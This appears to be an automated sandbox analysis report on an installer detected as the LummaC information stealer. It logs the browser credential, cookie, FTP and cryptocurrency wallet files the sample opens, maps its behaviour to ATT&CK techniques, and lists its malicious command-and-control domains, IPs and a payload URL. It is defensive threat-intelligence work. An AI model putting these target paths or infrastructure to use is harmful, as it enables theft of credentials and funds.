Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Directory queried: C:\Users\user\Documents\TQDFJHPUIU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\335031\Amino.com	Directory queried: C:\Users\user\Documents\EIVQSAOTAQ	Jump to behavior

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match

File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	121 Windows Management Instrumentation	1 Scripting	12 Process Injection	11 Masquerading	2 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	21 Virtualization/Sandbox Evasion	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	31 Data from Local System	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	12 Process Injection	Security Account Manager	3 Process Discovery	SMB/Windows Admin Shares	1 Clipboard Data	13 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	13 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	25 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Setup.exe	45%	Virustotal		Browse
Setup.exe	36%	ReversingLabs	Win32.Spyware.Lummastealer
SAMPLE	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\335031\Amino.com	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\335031\T	3%	ReversingLabs	Script-AutoIt.Dropper.Generic
C:\Users\user\AppData\Local\Temp\Thumbnail.msi	3%	ReversingLabs	Script-AutoIt.Dropper.Generic

Source	Detection	Scanner	Label	Link
https://vqaliantheart.live/oniz	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
vqaliantheart.live	104.21.5.162	true	false	high
h1.mockupeastcoast.shop	89.169.54.153	true	false	high
XFctBeCyahiRgTQwoaYNt.XFctBeCyahiRgTQwoaYNt	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://vqaliantheart.live/oniz	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0	Setup.exe	false	high
https://sectigo.com/CPS0	Setup.exe	false	high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	Setup.exe	false	high
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	Setup.exe	false	high
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	Setup.exe	false	high
http://ocsp.sectigo.com0	Setup.exe	false	high
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	Setup.exe	false	high
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	Setup.exe	false	high
http://www.autoitscript.com/autoit3/X	Amino.com, 0000000C.00000000.1200946642.00000000006E5000.00000002.00000001.01000000.00000007.sdmp, Nd.8.dr, Amino.com.1.dr	false	high
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	Setup.exe	false	high
http://nsis.sf.net/NSIS_ErrorError	Setup.exe	false	high
https://www.autoitscript.com/autoit3/	Investors.8.dr, Amino.com.1.dr	false	high
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	Setup.exe	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
89.169.54.153	h1.mockupeastcoast.shop	Russian Federation		31514	INF-NET-ASRU	false
104.21.5.162	vqaliantheart.live	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1664099
Start date and time:	2025-04-13 16:24:12 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Setup.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@26/26@3/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 36 Number of non-executed functions: 28
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 23.76.34.6, 172.202.163.200
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, c.pki.goog, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
10:25:14	API Interceptor	10x Sleep call for process: Amino.com modified
10:25:46	API Interceptor	3135x Sleep call for process: Setup.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
89.169.54.153	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
89.169.54.153	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
104.21.5.162	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse
	https://www.baidu.com/link?url=tc0KGE4OMhZ74ZSwbF24_ym_XsWIKmDB3Tjmh-Ev29r74AJK4eg2MsYr9EQIOxQg3i-oWCQHGbXtbpV7kwDbTK&wd#bWljaGFlbC5zYXhAdGFmZXFsZC5lZHUuYXU	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
h1.mockupeastcoast.shop	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	89.169.54.153
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	89.169.54.153
	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.62.250
	setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.62.250
	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.62.250
	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.141.59
	setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.141.59
	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.62.250
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.141.59
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.141.59
vqaliantheart.live	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
	setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.133.158
	setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.133.158
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.133.158
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.133.158

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INF-NET-ASRU	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	89.169.54.153
	resgod.sh4.elf	Get hash	malicious	Mirai	Browse	83.217.197.148
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	89.169.54.153
	utorrent_installer.exe	Get hash	malicious	Unknown	Browse	83.217.202.106
	resgod.sh4.elf	Get hash	malicious	Mirai	Browse	83.217.222.149
	MDE_File_Sample_0bd717cd72246ba4b246245e85161a8162d62c19.zip	Get hash	malicious	Unknown	Browse	83.217.208.151
	jPKFh06jHI.exe	Get hash	malicious	Vidar	Browse	83.217.208.144
	http://www.delawarejellystone.com	Get hash	malicious	Unknown	Browse	89.169.52.197
	m4n1AQRhaP.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	83.217.209.253
	Software Installer.exe	Get hash	malicious	Unknown	Browse	83.217.208.69
CLOUDFLARENETUS	Set-Up.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.131.70
	shegivenmekissinglips.hta	Get hash	malicious	Cobalt Strike, MSIL Logger, MassLogger RAT	Browse	104.21.32.1
	smss (2).exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.96.1
	KUzGUp4xs6.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.21.32.1
	Mi5cEY8M3R.hta	Get hash	malicious	Cobalt Strike, MSIL Logger, MassLogger RAT	Browse	104.21.48.1
	6pCmlKafCF.hta	Get hash	malicious	Cobalt Strike, MSIL Logger, MassLogger RAT	Browse	104.21.48.1
	1b3pICGT3V.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.64.1
	TpDkwibRvg.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.112.1
	WTGK44DBns.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.48.1
	activate.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.28.157

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Set-Up.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
	activate.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
	activate.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
	OGF4TzdXZ9.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
	SecuriteInfo.com.FileRepMalware.5979.10698.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
	Nepomuk.exe	Get hash	malicious	GO Backdoor, LummaC Stealer	Browse	104.21.5.162
	RE_0078234567965441.pdf.wsf	Get hash	malicious	Koadic	Browse	104.21.5.162
	Rd_client_w_a_s_d.exe	Get hash	malicious	HTMLPhisher, LummaC Stealer	Browse	104.21.5.162
	Rd_client_w_a_s_d.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.5.162
	spy.exe	Get hash	malicious	LummaC Stealer, Xmrig	Browse	104.21.5.162

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\335031\Amino.com	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	aomei_partition_assistant_v10.8.0_technician_winpe_patched.exe	Get hash	malicious	LummaC Stealer	Browse
	aomei_partition_assistant_v10.8.0_technician_winpe_patched.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse
	setup.exe	Get hash	malicious	LummaC Stealer	Browse
	setup.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse
